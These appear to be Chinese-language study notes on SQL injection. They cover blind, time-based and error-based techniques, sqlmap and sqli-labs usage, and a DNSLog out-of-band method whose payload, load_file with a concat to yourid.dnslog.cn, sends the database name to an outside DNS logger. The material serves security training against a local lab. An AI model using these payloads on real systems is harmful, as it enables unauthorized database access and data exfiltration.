1. Sql 注入基础
1.1 SQL 注入的发生
1.2 如何获取数据库信息
- show 命令
- select +函数
- 系统库
1.3 参数会如何处理?
1.4 Sql 注入的完整流程
- 判断是否可以注入
- 获得数据库名
- 获得表名
- 获取列名
- 获得数据
2. SQL 注入自动化工具
2.1 sqlmap
2.2 sqlmap 参数详解
sqlmap -hh
基本用法:
sqlmap.py -u "localhost/school/url.php?id=1"
3. SQL 注入靶场
- 官方代码不支持 PHP 7
https://github.com/Audi-1/sqli-labs
- 支持 php 7 的代码
https://github.com/goldroad/sqli_labs_sqli-version
4. 注入类型
4.1 布尔盲注
适用场景
:没有数据回显,条件正确有结果,错误没结果
利用方式
:构造判断条件( and ),逐个猜测(盲猜)
布尔盲注相关 SQL 语法
- 截取字符
SELECT MID('abcdefghijklm' ,5, 5);
SELECT substr('abcdefghijklm' ,5, 5);
SELECT left('abcdefghijklm' ,5);
- 转成ASCII码
SELECT ORD('a');
SELECT ASCII('a');
4.2 基于时间的盲注
适用场景
:没有数据回显,条件正确与否结果一样
利用方式
:构造判断条件( and ),添加 sleep,逐个猜测(盲猜)
时间盲注相关SQL语法
- 截取长度
select length(database())=8;
- 判断,赋值
select if((1=1),1,0);
- 睡眠 N 秒
select sleep(1);
- 如果数据库名字长度为 8,则 sleep 1 秒,否则返回 0
select sleep(if((select length(database())=8),1,0));
- 等价于
select if(length(database())=8,sleep(1),0)
4.3 基于报错的注入
适用场景
:没有数据回显,条件正确与否结果一样,sleep 没区别,但是错误信息会打印出来
利用方式
:利用语法错误,把 value 在前端输出
5. DNSLo g注入
5.1 DNSLog 平台
- Dnslog
- CEYE平台
UNC
Universal Naming Convention 通用命名规则
5.2 MySQL 读写函数
secure_file_priv 参数
select LOAD_FILE('E:\\in.txt')
- 只能访问本机的文件
- 文件需要有读取权限
- 字节数小于max_allowed_packet
否则返回NULL
5.3 DNSLog注入流程
-
把select LOAD_FILE()注入到数据库,访问文件
-
UNC构建DNS服务器地址,假装访问文件,产生DNSLog
select load_file('////aaa.yourid.dnslog.cn/wuya');
- 把子域名替换成函数或者查询SQL
select if((select load_file(concat('////',database(),'.yourid.dnslog.cn/wuya'))),1,0);
5.4 DNSLog注入流程总结(带外查询)
5.5 DNSLog 注入脚本
python 2
dnslogSql.py -u http://localhost/sqli-labs/Less-9/?id=1 -c
dnslogSql.py -u "http://localhost/sqli-labs/Less-9/?id=1' and ({})--+" --dbs
-
--dbs get
database
-
-D DB
database name
-
--tables
get table
-
-T TABLE
table name
-
--columns
get column
-
-C COLUMN
column name
-
--dump
get data